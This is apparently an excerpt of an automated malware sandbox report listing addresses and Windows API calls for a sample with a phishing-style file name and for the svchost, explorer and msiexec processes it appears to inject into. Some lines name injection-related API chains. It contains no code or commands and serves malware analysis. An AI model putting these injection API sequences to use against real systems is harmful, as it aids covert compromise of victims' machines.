Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05023010 NtOpenDirectoryObject,	3_2_05023010
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05023090 NtSetValueKey,	3_2_05023090
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05023D10 NtOpenProcessToken,	3_2_05023D10
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05023D70 NtOpenThread,	3_2_05023D70
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050239B0 NtGetContextThread,	3_2_050239B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0311A360 NtCreateFile,	3_2_0311A360
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0311A410 NtReadFile,	3_2_0311A410
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0311A490 NtClose,	3_2_0311A490
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0311A35A NtCreateFile,	3_2_0311A35A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0311A40D NtReadFile,	3_2_0311A40D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0311A45A NtClose,	3_2_0311A45A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0311A48A NtClose,	3_2_0311A48A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04E6A036 NtQueryInformationProcess,NtSuspendThread,NtSetContextThread,RtlQueueApcWow64Thread,NtResumeThread,	3_2_04E6A036
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04E69BAF NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtUnmapViewOfSection,NtClose,	3_2_04E69BAF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04E6A042 NtQueryInformationProcess,	3_2_04E6A042
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04E69BB2 NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	3_2_04E69BB2

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00CE40B1: CreateFileW,_memset,DeviceIoControl,CloseHandle,

0_2_00CE40B1

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00CD8858 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00CD8858

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00CE545F ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_00CE545F

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00C8E800	0_2_00C8E800
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CADBB5	0_2_00CADBB5
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00C8FE40	0_2_00C8FE40
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00D0804A	0_2_00D0804A
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00C8E060	0_2_00C8E060
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00C94140	0_2_00C94140
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CA2405	0_2_00CA2405
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CB6522	0_2_00CB6522
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CB267E	0_2_00CB267E
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00D00665	0_2_00D00665
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00C96843	0_2_00C96843
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CA283A	0_2_00CA283A
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CB89DF	0_2_00CB89DF
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00D00AE2	0_2_00D00AE2
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CB6A94	0_2_00CB6A94
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00C98A0E	0_2_00C98A0E
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CDEB07	0_2_00CDEB07
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CE8B13	0_2_00CE8B13
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CACD61	0_2_00CACD61
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CB7006	0_2_00CB7006
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00C93190	0_2_00C93190
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00C9710E	0_2_00C9710E
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00C81287	0_2_00C81287
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CA33C7	0_2_00CA33C7
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CAF419	0_2_00CAF419
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CA16C4	0_2_00CA16C4
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00C95680	0_2_00C95680
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00C958C0	0_2_00C958C0
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CA78D3	0_2_00CA78D3
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CA1BB8	0_2_00CA1BB8
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CB9D05	0_2_00CB9D05
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CA1FD0	0_2_00CA1FD0
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CABFE6	0_2_00CABFE6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FA352	1_2_030FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304E3F0	1_2_0304E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_031003E6	1_2_031003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0274	1_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C02C0	1_2_030C02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03030100	1_2_03030100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DA118	1_2_030DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C8158	1_2_030C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F41A2	1_2_030F41A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_031001AA	1_2_031001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F81CC	1_2_030F81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030D2000	1_2_030D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03064750	1_2_03064750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040770	1_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303C7C0	1_2_0303C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305C6E0	1_2_0305C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040535	1_2_03040535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03100591	1_2_03100591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E4420	1_2_030E4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F2446	1_2_030F2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030EE4F6	1_2_030EE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FAB40	1_2_030FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F6BD7	1_2_030F6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303EA80	1_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03056962	1_2_03056962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030429A0	1_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0310A9A6	1_2_0310A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304A840	1_2_0304A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03042840	1_2_03042840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030268B8	1_2_030268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306E8F0	1_2_0306E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03082F28	1_2_03082F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03060F30	1_2_03060F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E2F30	1_2_030E2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B4F40	1_2_030B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030BEFA0	1_2_030BEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03032FC8	1_2_03032FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FEE26	1_2_030FEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040E59	1_2_03040E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03052E90	1_2_03052E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FCE93	1_2_030FCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FEEDB	1_2_030FEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304AD00	1_2_0304AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DCD1F	1_2_030DCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03058DBF	1_2_03058DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303ADE0	1_2_0303ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040C00	1_2_03040C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0CB5	1_2_030E0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03030CF2	1_2_03030CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F132D	1_2_030F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302D34C	1_2_0302D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0308739A	1_2_0308739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030452A0	1_2_030452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305B2C0	1_2_0305B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E12ED	1_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305D2F0	1_2_0305D2F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0307516C	1_2_0307516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F172	1_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0310B16B	1_2_0310B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304B1B0	1_2_0304B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030EF0CC	1_2_030EF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030470C0	1_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F70E9	1_2_030F70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FF0E0	1_2_030FF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FF7B0	1_2_030FF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03085630	1_2_03085630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F16CC	1_2_030F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F7571	1_2_030F7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DD5B0	1_2_030DD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_031095C3	1_2_031095C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FF43F	1_2_030FF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03031460	1_2_03031460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FFB76	1_2_030FFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305FB80	1_2_0305FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B5BF0	1_2_030B5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0307DBF9	1_2_0307DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FFA49	1_2_030FFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F7A46	1_2_030F7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B3A6C	1_2_030B3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DDAAC	1_2_030DDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03085AA0	1_2_03085AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E1AA3	1_2_030E1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030EDAC6	1_2_030EDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030D5910	1_2_030D5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03049950	1_2_03049950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305B950	1_2_0305B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AD800	1_2_030AD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030438E0	1_2_030438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FFF09	1_2_030FFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03041F92	1_2_03041F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FFFB1	1_2_030FFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03003FD2	1_2_03003FD2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03003FD5	1_2_03003FD5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03049EB0	1_2_03049EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03043D40	1_2_03043D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F1D5A	1_2_030F1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F7D73	1_2_030F7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305FDC0	1_2_0305FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B9C32	1_2_030B9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FFCF2	1_2_030FFCF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0268E324	1_2_0268E324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0268E111	1_2_0268E111
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02672FB0	1_2_02672FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02672D90	1_2_02672D90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02671030	1_2_02671030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0268D826	1_2_0268D826
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02679E60	1_2_02679E60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0268DD7F	1_2_0268DD7F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035EA036	1_2_035EA036
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035EB232	1_2_035EB232
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E1082	1_2_035E1082
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035EE5CD	1_2_035EE5CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E5B32	1_2_035E5B32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E5B30	1_2_035E5B30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E8912	1_2_035E8912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035E2D02	1_2_035E2D02
Source: C:\Windows\explorer.exe	Code function: 2_2_0E692232	2_2_0E692232
Source: C:\Windows\explorer.exe	Code function: 2_2_0E691036	2_2_0E691036
Source: C:\Windows\explorer.exe	Code function: 2_2_0E688082	2_2_0E688082
Source: C:\Windows\explorer.exe	Code function: 2_2_0E68CB30	2_2_0E68CB30
Source: C:\Windows\explorer.exe	Code function: 2_2_0E68CB32	2_2_0E68CB32
Source: C:\Windows\explorer.exe	Code function: 2_2_0E689D02	2_2_0E689D02
Source: C:\Windows\explorer.exe	Code function: 2_2_0E68F912	2_2_0E68F912
Source: C:\Windows\explorer.exe	Code function: 2_2_0E6955CD	2_2_0E6955CD
Source: C:\Windows\explorer.exe	Code function: 2_2_0FC1CB30	2_2_0FC1CB30
Source: C:\Windows\explorer.exe	Code function: 2_2_0FC1CB32	2_2_0FC1CB32
Source: C:\Windows\explorer.exe	Code function: 2_2_0FC22232	2_2_0FC22232
Source: C:\Windows\explorer.exe	Code function: 2_2_0FC255CD	2_2_0FC255CD
Source: C:\Windows\explorer.exe	Code function: 2_2_0FC19D02	2_2_0FC19D02
Source: C:\Windows\explorer.exe	Code function: 2_2_0FC1F912	2_2_0FC1F912
Source: C:\Windows\explorer.exe	Code function: 2_2_0FC18082	2_2_0FC18082
Source: C:\Windows\explorer.exe	Code function: 2_2_0FC21036	2_2_0FC21036
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_009763E3	3_2_009763E3
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050B0591	3_2_050B0591
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05094420	3_2_05094420
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050A2446	3_2_050A2446
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FF0535	3_2_04FF0535
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0509E4F6	3_2_0509E4F6
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05014750	3_2_05014750
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FEC7C0	3_2_04FEC7C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FF0770	3_2_04FF0770
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0500C6E0	3_2_0500C6E0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0508A118	3_2_0508A118
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05078158	3_2_05078158
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050B01AA	3_2_050B01AA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050A41A2	3_2_050A41A2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050A81CC	3_2_050A81CC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05082000	3_2_05082000
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FE0100	3_2_04FE0100
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050AA352	3_2_050AA352
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050B03E6	3_2_050B03E6
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FFE3F0	3_2_04FFE3F0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05090274	3_2_05090274
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050702C0	3_2_050702C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FE0CF2	3_2_04FE0CF2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0508CD1F	3_2_0508CD1F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05008DBF	3_2_05008DBF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FF0C00	3_2_04FF0C00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FEADE0	3_2_04FEADE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05090CB5	3_2_05090CB5
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FFAD00	3_2_04FFAD00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05032F28	3_2_05032F28
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05010F30	3_2_05010F30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05092F30	3_2_05092F30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05064F40	3_2_05064F40
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FF0E59	3_2_04FF0E59
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0506EFA0	3_2_0506EFA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050AEE26	3_2_050AEE26
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FE2FC8	3_2_04FE2FC8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05002E90	3_2_05002E90
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050ACE93	3_2_050ACE93
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050AEEDB	3_2_050AEEDB
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FD68B8	3_2_04FD68B8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05006962	3_2_05006962
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050BA9A6	3_2_050BA9A6
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FF2840	3_2_04FF2840
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FFA840	3_2_04FFA840
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FF29A0	3_2_04FF29A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0501E8F0	3_2_0501E8F0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050AAB40	3_2_050AAB40
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FEEA80	3_2_04FEEA80
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050A6BD7	3_2_050A6BD7
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050A7571	3_2_050A7571
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FE1460	3_2_04FE1460
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0508D5B0	3_2_0508D5B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050B95C3	3_2_050B95C3
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050AF43F	3_2_050AF43F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050AF7B0	3_2_050AF7B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05035630	3_2_05035630
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050A16CC	3_2_050A16CC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FF70C0	3_2_04FF70C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050BB16B	3_2_050BB16B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0502516C	3_2_0502516C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FFB1B0	3_2_04FFB1B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FDF172	3_2_04FDF172
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0509F0CC	3_2_0509F0CC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050A70E9	3_2_050A70E9
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050AF0E0	3_2_050AF0E0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050A132D	3_2_050A132D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FF52A0	3_2_04FF52A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0503739A	3_2_0503739A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FDD34C	3_2_04FDD34C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0500B2C0	3_2_0500B2C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050912ED	3_2_050912ED
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0500D2F0	3_2_0500D2F0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050A1D5A	3_2_050A1D5A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050A7D73	3_2_050A7D73
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0500FDC0	3_2_0500FDC0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05069C32	3_2_05069C32
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FF3D40	3_2_04FF3D40
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050AFCF2	3_2_050AFCF2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050AFF09	3_2_050AFF09
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FF9EB0	3_2_04FF9EB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050AFFB1	3_2_050AFFB1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FB3FD2	3_2_04FB3FD2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FB3FD5	3_2_04FB3FD5
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FF1F92	3_2_04FF1F92
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05085910	3_2_05085910
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FF38E0	3_2_04FF38E0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0500B950	3_2_0500B950
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0505D800	3_2_0505D800
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04FF9950	3_2_04FF9950
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050AFB76	3_2_050AFB76
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0500FB80	3_2_0500FB80
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05065BF0	3_2_05065BF0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0502DBF9	3_2_0502DBF9
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050AFA49	3_2_050AFA49
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050A7A46	3_2_050A7A46
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05063A6C	3_2_05063A6C
